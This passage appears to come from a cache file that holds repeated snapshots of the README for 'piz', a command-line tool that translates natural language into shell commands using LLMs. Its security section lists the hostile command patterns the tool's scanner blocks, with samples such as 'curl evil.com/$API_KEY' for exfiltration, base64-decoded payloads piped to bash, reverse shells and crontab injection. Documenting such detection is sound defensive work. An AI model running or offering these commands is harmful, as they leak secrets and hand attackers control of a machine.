docker ps --format '{{.Names}}'\n```\n\nChat mode supports special commands:\n- `/help` — Show available commands\n- `/clear` — Clear conversation history\n- `/history` — View conversation history\n- `/detail` — Toggle inline command explanation on/off\n\n### Execution history\n\n```bash\n$ piz history # Show last 20 executed commands\n$ piz history docker -l 10 # Search for \"docker\" in last 10 entries\n```\n\n### Shell completions\n\n```bash\npiz completions bash > ~/.bash_completion.d/piz # Bash\npiz completions zsh > ~/.zfunc/_piz # Zsh\npiz completions fish > ~/.config/fish/completions/piz.fish # Fish\npiz completions powershell > piz.ps1 # PowerShell\n```\n\n### Shell integration\n\nShell integration enables commands like `cd`, `export`, and `source` to work correctly in your current shell session. Run `piz init <shell>` and add the output to your shell profile:\n\n**Bash / Zsh:**\n\n```bash\n# Add to ~/.bashrc or ~/.zshrc:\neval \"$(piz init bash)\" # or: eval \"$(piz init zsh)\"\n```\n\n**Fish:**\n\n```fish\n# Add to ~/.config/fish/config.fish:\npiz init fish | source\n```\n\n**PowerShell:**\n\n```powershell\n# Add to $PROFILE:\npiz init powershell | Out-String | Invoke-Expression\n```\n\nOnce set up, piz will use `--eval` mode automatically, and commands like `cd`, `export`, `source` will take effect in your current shell.\n\nShell integration also provides built-in aliases for convenience:\n\n| Alias | Command | Description |\n|-------|---------|-------------|\n| `p` | `piz` | Short alias for piz |\n| `pf` | `piz fix` | Quick fix last failed command |\n| `pc` | `piz chat` | Quick enter chat mode |\n\n```bash\np list all rust files # Same as: piz list all rust files\npf # Same as: piz fix\npc # Same as: piz chat\n```\n\n### Pipe mode\n\n```bash\n# Output only the command, no UI — useful for scripting\npiz --pipe list all rust files # → find . -name \"*.rs\"\neval $(echo \"list files\" | piz --pipe) # Execute directly\n```\n\n### Configuration management\n\n```bash\npiz config --init # Run setup wizard\npiz config --show # Show current config (API keys masked)\npiz config --reset # Delete config and start over\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --backend gemini show memory # Use Google Gemini\npiz --no-cache show memory # Skip cache\npiz --verbose list files # Debug: show prompts and LLM responses\npiz -n 3 list files # Generate 3 candidate commands\npiz clear-cache # Clear all cached commands\npiz --eval list files # Eval mode (for shell integration)\npiz --version # Show version\n```\n\n## Update\n\n### Self-update\n\n```bash\npiz update # Interactive: check latest version and upgrade\n```\n\n`piz update` checks GitHub Releases for the latest version. If a new version is available, you can choose between two upgrade methods:\n\n1. **Overwrite install** — replace the current binary in-place\n2. **Uninstall then reinstall** — remove old version first, then install new\n\nBoth methods include automatic rollback on failure.\n\n### Automatic update check\n\npiz checks for updates **automatically in the background** after each run (at most once every 24 hours, with a 5-second timeout so it never blocks). When a newer version is detected, a hint is shown:\n\n```\nℹ piz 0.3.0 is available (current: 0.2.5). Run `piz update` to upgrade.\n```\n\nNo manual configuration is needed — this works out of the box. The check state is stored in `~/.piz/update_state.json`.\n\n### Manual install (specific version)\n\nIf you want to install a specific version, download the binary directly from [GitHub Releases](https://github.com/AriesOxO/piz/releases):\n\n```bash\n# Linux/macOS — replace VERSION and TARGET as needed\ncurl -fsSL https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-TARGET.tar.gz | tar xz\nsudo mv piz /usr/local/bin/\n\n# Windows (PowerShell)\nInvoke-WebRequest -Uri \"https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-x86_64-pc-windows-msvc.zip\" -OutFile piz.zip\nExpand-Archive piz.zip -DestinationPath .\nMove-Item piz.exe \"$env:LOCALAPPDATA\\piz\\piz.exe\"\n```\n\nOr reinstall via the install script:\n\n```bash\n# Linux/macOS\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n\n# Windows (PowerShell)\nirm https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n## Supported Providers\n\n### Native backends\n\n| Backend | Config section | Notes |\n|---------|---------------|-------|\n| **OpenAI** | `[openai]` | Also supports any OpenAI-compatible API via `base_url` |\n| **Claude** | `[claude]` | Anthropic Messages API, custom `base_url` supported |\n| **Gemini** | `[gemini]` | Google Generative AI native API |\n| **Ollama** | `[ollama]` | Local models, no API key needed |\n\n### OpenAI-compatible providers (via `[openai]` with custom `base_url`)\n\n<details>\n<summary>Click to expand all 12 providers</summary>\n\n| Provider | base_url | Default model |\n|----------|----------|---------------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| SiliconFlow | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| Zhipu/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| Qianfan/Baidu | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| DashScope/Alibaba | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n</details>\n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # Cache TTL (7 days)\ncache_max_entries = 1000 # Maximum cache entries (LRU eviction)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en\nchat_history_size = 20 # Max chat history messages\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Provider config examples\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>SiliconFlow</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Google Gemini</summary>\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n</details>\n\n<details>\n<summary>OpenRouter</summary>\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n</details>\n\n<details>\n<summary>Moonshot / Kimi</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n<details>\n<summary>Zhipu / GLM</summary>\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n</details>\n\n## Security\n\npiz implements three layers of security:\n\n### 1. Prompt-level refusal\nNon-command inputs (greetings, chitchat, prompt injection attempts) are rejected by the LLM with a clear message instead of generating a command.\n\n### 2. Injection detection (local, no LLM)\nCommands are scanned for malicious patterns before execution:\n- Environment variable exfiltration (`curl evil.com/$API_KEY`)\n- Encoded payloads (`echo ... | base64 -d | bash`)\n- Reverse shells (`python -e 'import socket...'`)\n- Shell config overwrites (`> ~/.bashrc`)\n- Silent crontab injection (`| crontab -`)\n- curl config file attacks (`curl -K malicious.conf`)\n- Download-execute chains (`wget ... && chmod +x && ./`)\n- Dangerous find/xargs patterns (`find -delete`, `xargs rm`)\n\nMatched commands are **blocked** and cannot be executed. Injection messages are localized (zh/en).\n\nCached commands are also re-validated on retrieval — poisoned cache entries are automatically purged.\n\n### 3. Danger classification\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing, multi-candidate selection\n│ ├── cli.rs # clap argument definitions (with clap_complete)\n│ ├── config.rs # TOML config + interactive setup wizard (12 provider presets)\n│ ├── context.rs # System context collection (OS, shell, cwd, arch, git, package manager)\n│ ├── i18n.rs # Multi-language translations (zh/en) including injection messages\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory + retry/backoff utilities\n│ │ ├── prompt.rs # Prompt templates with security rules, few-shot examples, multi-candidate\n│ │ ├── openai.rs # OpenAI-compatible adapter (with retry)\n│ │ ├── claude.rs # Claude adapter (with retry)\n│ │ ├── gemini.rs # Google Gemini adapter (with retry)\n│ │ └── ollama.rs # Ollama adapter (with retry)\n│ ├── cache.rs # SQLite cache with SHA256 keys, TTL, LRU eviction + execution history\n│ ├── danger.rs # Regex danger detection + injection scanner (InjectionReason enum)\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode + auto-fix retry loop\n│ ├── chat.rs # Interactive chat mode with slash commands + persistent history\n│ ├── history.rs # Shell history reader\n│ ├── shell_init.rs # Shell integration code generation (bash/zsh/fish/PowerShell) + built-in aliases\n│ └── ui.rs # Terminal output formatting (spinner, diff, colors)\n├── tests/\n│ ├── integration.rs # Integration tests\n│ ├── llm_e2e.rs # LLM end-to-end tests (require API key, ignored by default)\n│ └── windows_shells.rs # Cross-shell tests (cmd/PowerShell/bash)\n├── homebrew/\n│ └── piz.rb # Homebrew formula template (auto-rendered by release workflow)\n├── install.sh # macOS/Linux installer\n└── install.ps1 # Windows installer\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # Build\ncargo test # Run tests (437)\ncargo install --path . # Install to PATH\n```\n\n## Environment Variables\n\n| Variable | Description |\n|----------|-------------|\n| `NO_COLOR` | Set to any value to disable colored output |\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n\n## Star History\n\n[](https://star-history.com/#AriesOxO/piz&Date)\n"}, "c6ff53538bc04d61c4a0c48a6f3b4fdf3c7d560d": {"t": 1785760766.9418929, "n": 17758, "h": "04e0a1554b71fd5b", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>Intelligent terminal command assistant</strong><br>\n Translate natural language to shell commands with AI\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README.md\">English</a> |\n <a href=\"./README_ZH.md\">简体中文</a>\n</p>\n\n---\n\n<p align=\"center\">\n <img src=\"assets/demo.gif\" alt=\"piz demo\" width=\"800\">\n</p>\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Gemini, Ollama + 12 OpenAI-compatible providers (DeepSeek, SiliconFlow, OpenRouter, Moonshot, Zhipu/GLM, Qianfan, DashScope, Mistral, Together, Minimax, BytePlus, and more)\n- **Security Hardening** - Three-layer protection: prompt-level refusal for non-command input, injection detection (base64 payloads, env exfiltration, reverse shells, curl config attacks), and regex-based danger classification\n- **Danger Detection** - Dual-layer: regex patterns + LLM classification. Dangerous commands always require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`, with auto-retry (up to 3 attempts)\n- **Interactive Chat** - Multi-turn chat mode with context (`piz chat`), with `/help`, `/clear`, `/history` commands and persistent history\n- **Multi-Candidate** - Generate multiple command options with `-n` and pick your preferred one\n- **Local Cache** - SQLite cache with TTL + LRU eviction, max entries limit, repeated queries return instantly\n- **Execution History** - Track all executed commands with `piz history`, searchable\n- **Shell Integration** - `piz init <shell>` generates shell wrapper functions so `cd`/`export`/`source` work correctly in the current shell (bash, zsh, fish, PowerShell), with built-in aliases (`p`, `pf`, `pc`)\n- **Eval Mode** - `--eval` outputs confirmed command for shell wrapper to eval, used by shell integration\n- **Shell Completions** - Generate completions for bash, zsh, fish, and PowerShell\n- **Pipe Mode** - Script-friendly output with `--pipe` for integration with other tools\n- **Multi-Language UI** - Chinese, English interface with localized security messages\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh/fish) with non-invasive encoding (no `chcp`/`OutputEncoding` modification)\n- **Interactive Setup** - First-run wizard with provider presets, no manual config editing needed\n- **NO_COLOR Support** - Respects the `NO_COLOR` environment variable\n- **API Resilience** - Automatic retry with exponential backoff for 429/5xx errors\n\n## Quick Start\n\n### Install\n\n**Homebrew (macOS / Linux):**\n\n```bash\nbrew install AriesOxO/tap/piz\n```\n\n**macOS / Linux (one-liner):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows (PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo (any platform):**\n\n```bash\ncargo install piz\n```\n\n**Manual download:**\n\nDownload binaries or `.msi` (Windows) from [Releases](https://github.com/AriesOxO/piz/releases). Linux binaries are statically linked (musl), compatible with any Linux distribution.\n\n| Platform | Downloads |\n|----------|-----------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 (static musl) | `.tar.gz` |\n| Linux ARM64 (static musl) | `.tar.gz` |\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English\n? Select default LLM backend:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (local)\n? Select API provider:\n OpenAI / DeepSeek / SiliconFlow / OpenRouter / Moonshot\n Zhipu-GLM / Qianfan / DashScope / Mistral / Together\n Minimax / BytePlus / Custom URL\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Multi-candidate mode\n\n```bash\n$ piz -n 3 find large files\n? Select a command to execute:\n> 1. find . -size +100M -type f — Find files larger than 100MB\n 2. du -ah . | sort -rh | head -20 — Show top 20 largest files/dirs\n 3. ls -lhRS | head -30 — List files sorted by size descending\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n - npm install\n + sudo npm install\n```\n\nThe fix command now supports auto-retry: if the fixed command also fails, piz will attempt up to 3 rounds of diagnosis and repair.\n\n### Interactive chat mode\n\n```bash\n$ piz chat\n💬 interactive mode\nType your request, or 'exit'/'quit' to leave.\n\n> list all running docker containers\n ➜ docker ps\n [Y] Execute [n] Cancel [e] Edit\n\n> only show the names\n ➜ docker ps --format '{{.Names}}'\n```\n\nChat mode supports special commands:\n- `/help` — Show available commands\n- `/clear` — Clear conversation history\n- `/history` — View conversation history\n\n### Execution history\n\n```bash\n$ piz history # Show last 20 executed commands\n$ piz history docker -l 10 # Search for \"docker\" in last 10 entries\n```\n\n### Shell completions\n\n```bash\npiz completions bash > ~/.bash_completion.d/piz # Bash\npiz completions zsh > ~/.zfunc/_piz # Zsh\npiz completions fish > ~/.config/fish/completions/piz.fish # Fish\npiz completions powershell > piz.ps1 # PowerShell\n```\n\n### Shell integration\n\nShell integration enables commands like `cd`, `export`, and `source` to work correctly in your current shell session. Run `piz init <shell>` and add the output to your shell profile:\n\n**Bash / Zsh:**\n\n```bash\n# Add to ~/.bashrc or ~/.zshrc:\neval \"$(piz init bash)\" # or: eval \"$(piz init zsh)\"\n```\n\n**Fish:**\n\n```fish\n# Add to ~/.config/fish/config.fish:\npiz init fish | source\n```\n\n**PowerShell:**\n\n```powershell\n# Add to $PROFILE:\npiz init powershell | Out-String | Invoke-Expression\n```\n\nOnce set up, piz will use `--eval` mode automatically, and commands like `cd`, `export`, `source` will take effect in your current shell.\n\nShell integration also provides built-in aliases for convenience:\n\n| Alias | Command | Description |\n|-------|---------|-------------|\n| `p` | `piz` | Short alias for piz |\n| `pf` | `piz fix` | Quick fix last failed command |\n| `pc` | `piz chat` | Quick enter chat mode |\n\n```bash\np list all rust files # Same as: piz list all rust files\npf # Same as: piz fix\npc # Same as: piz chat\n```\n\n### Pipe mode\n\n```bash\n# Output only the command, no UI — useful for scripting\npiz --pipe list all rust files # → find . -name \"*.rs\"\neval $(echo \"list files\" | piz --pipe) # Execute directly\n```\n\n### Configuration management\n\n```bash\npiz config --init # Run setup wizard\npiz config --show # Show current config (API keys masked)\npiz config --reset # Delete config and start over\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --backend gemini show memory # Use Google Gemini\npiz --no-cache show memory # Skip cache\npiz --verbose list files # Debug: show prompts and LLM responses\npiz -n 3 list files # Generate 3 candidate commands\npiz clear-cache # Clear all cached commands\npiz --eval list files # Eval mode (for shell integration)\npiz --version # Show version\n```\n\n## Update\n\n### Self-update\n\n```bash\npiz update # Interactive: check latest version and upgrade\n```\n\n`piz update` checks GitHub Releases for the latest version. If a new version is available, you can choose between two upgrade methods:\n\n1. **Overwrite install** — replace the current binary in-place\n2. **Uninstall then reinstall** — remove old version first, then install new\n\nBoth methods include automatic rollback on failure.\n\n### Automatic update check\n\npiz checks for updates **automatically in the background** after each run (at most once every 24 hours, with a 5-second timeout so it never blocks). When a newer version is detected, a hint is shown:\n\n```\nℹ piz 0.3.0 is available (current: 0.2.5). Run `piz update` to upgrade.\n```\n\nNo manual configuration is needed — this works out of the box. The check state is stored in `~/.piz/update_state.json`.\n\n### Manual install (specific version)\n\nIf you want to install a specific version, download the binary directly from [GitHub Releases](https://github.com/AriesOxO/piz/releases):\n\n```bash\n# Linux/macOS — replace VERSION and TARGET as needed\ncurl -fsSL https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-TARGET.tar.gz | tar xz\nsudo mv piz /usr/local/bin/\n\n# Windows (PowerShell)\nInvoke-WebRequest -Uri \"https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-x86_64-pc-windows-msvc.zip\" -OutFile piz.zip\nExpand-Archive piz.zip -DestinationPath .\nMove-Item piz.exe \"$env:LOCALAPPDATA\\piz\\piz.exe\"\n```\n\nOr reinstall via the install script:\n\n```bash\n# Linux/macOS\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n\n# Windows (PowerShell)\nirm https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n## Supported Providers\n\n### Native backends\n\n| Backend | Config section | Notes |\n|---------|---------------|-------|\n| **OpenAI** | `[openai]` | Also supports any OpenAI-compatible API via `base_url` |\n| **Claude** | `[claude]` | Anthropic Messages API, custom `base_url` supported |\n| **Gemini** | `[gemini]` | Google Generative AI native API |\n| **Ollama** | `[ollama]` | Local models, no API key needed |\n\n### OpenAI-compatible providers (via `[openai]` with custom `base_url`)\n\n<details>\n<summary>Click to expand all 12 providers</summary>\n\n| Provider | base_url | Default model |\n|----------|----------|---------------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| SiliconFlow | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| Zhipu/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| Qianfan/Baidu | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| DashScope/Alibaba | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n</details>\n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # Cache TTL (7 days)\ncache_max_entries = 1000 # Maximum cache entries (LRU eviction)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en\nchat_history_size = 20 # Max chat history messages\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Provider config examples\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>SiliconFlow</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Google Gemini</summary>\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n</details>\n\n<details>\n<summary>OpenRouter</summary>\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n</details>\n\n<details>\n<summary>Moonshot / Kimi</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n<details>\n<summary>Zhipu / GLM</summary>\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n</details>\n\n## Security\n\npiz implements three layers of security:\n\n### 1. Prompt-level refusal\nNon-command inputs (greetings, chitchat, prompt injection attempts) are rejected by the LLM with a clear message instead of generating a command.\n\n### 2. Injection detection (local, no LLM)\nCommands are scanned for malicious patterns before execution:\n- Environment variable exfiltration (`curl evil.com/$API_KEY`)\n- Encoded payloads (`echo ... | base64 -d | bash`)\n- Reverse shells (`python -e 'import socket...'`)\n- Shell config overwrites (`> ~/.bashrc`)\n- Silent crontab injection (`| crontab -`)\n- curl config file attacks (`curl -K malicious.conf`)\n- Download-execute chains (`wget ... && chmod +x && ./`)\n- Dangerous find/xargs patterns (`find -delete`, `xargs rm`)\n\nMatched commands are **blocked** and cannot be executed. Injection messages are localized (zh/en).\n\nCached commands are also re-validated on retrieval — poisoned cache entries are automatically purged.\n\n### 3. Danger classification\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing, multi-candidate selection\n│ ├── cli.rs # clap argument definitions (with clap_complete)\n│ ├── config.rs # TOML config + interactive setup wizard (12 provider presets)\n│ ├── context.rs # System context collection (OS, shell, cwd, arch, git, package manager)\n│ ├── i18n.rs # Multi-language translations (zh/en) including injection messages\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory + retry/backoff utilities\n│ │ ├── prompt.rs # Prompt templates with security rules, few-shot examples, multi-candidate\n│ │ ├── openai.rs # OpenAI-compatible adapter (with retry)\n│ │ ├── claude.rs # Claude adapter (with retry)\n│ │ ├── gemini.rs # Google Gemini adapter (with retry)\n│ │ └── ollama.rs # Ollama adapter (with retry)\n│ ├── cache.rs # SQLite cache with SHA256 keys, TTL, LRU eviction + execution history\n│ ├── danger.rs # Regex danger detection + injection scanner (InjectionReason enum)\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode + auto-fix retry loop\n│ ├── chat.rs # Interactive chat mode with slash commands + persistent history\n│ ├── history.rs # Shell history reader\n│ ├── shell_init.rs # Shell integration code generation (bash/zsh/fish/PowerShell) + built-in aliases\n│ └── ui.rs # Terminal output formatting (spinner, diff, colors)\n├── tests/\n│ └── integration.rs # Integration tests\n├── homebrew/\n│ └── piz.rb # Homebrew formula template (auto-rendered by release workflow)\n├── install.sh # macOS/Linux installer\n└── install.ps1 # Windows installer\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # Build\ncargo test # Run tests (190)\ncargo install --path . # Install to PATH\n```\n\n## Environment Variables\n\n| Variable | Description |\n|----------|-------------|\n| `NO_COLOR` | Set to any value to disable colored output |\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n\n## Star History\n\n[](https://star-history.com/#AriesOxO/piz&Date)\n"}, "eea8a2fb7643275fb622cb768148401627766dcc": {"t": 1785760770.808954, "n": 17758, "h": "cea60b06e09cb376", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>Intelligent terminal command assistant</strong><br>\n Translate natural language to shell commands with AI\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README.md\">English</a> |\n <a href=\"./README_ZH.md\">简体中文</a>\n</p>\n\n---\n\n<p align=\"center\">\n <img src=\"assets/demo.gif\" alt=\"piz demo\" width=\"800\">\n</p>\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Gemini, Ollama + 12 OpenAI-compatible providers (DeepSeek, SiliconFlow, OpenRouter, Moonshot, Zhipu/GLM, Qianfan, DashScope, Mistral, Together, Minimax, BytePlus, and more)\n- **Security Hardening** - Three-layer protection: prompt-level refusal for non-command input, injection detection (base64 payloads, env exfiltration, reverse shells, curl config attacks), and regex-based danger classification\n- **Danger Detection** - Dual-layer: regex patterns + LLM classification. Dangerous commands always require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`, with auto-retry (up to 3 attempts)\n- **Interactive Chat** - Multi-turn chat mode with context (`piz chat`), with `/help`, `/clear`, `/history` commands and persistent history\n- **Multi-Candidate** - Generate multiple command options with `-n` and pick your preferred one\n- **Local Cache** - SQLite cache with TTL + LRU eviction, max entries limit, repeated queries return instantly\n- **Execution History** - Track all executed commands with `piz history`, searchable\n- **Shell Integration** - `piz init <shell>` generates shell wrapper functions so `cd`/`export`/`source` work correctly in the current shell (bash, zsh, fish, PowerShell), with built-in aliases (`p`, `pf`, `pc`)\n- **Eval Mode** - `--eval` outputs confirmed command for shell wrapper to eval, used by shell integration\n- **Shell Completions** - Generate completions for bash, zsh, fish, and PowerShell\n- **Pipe Mode** - Script-friendly output with `--pipe` for integration with other tools\n- 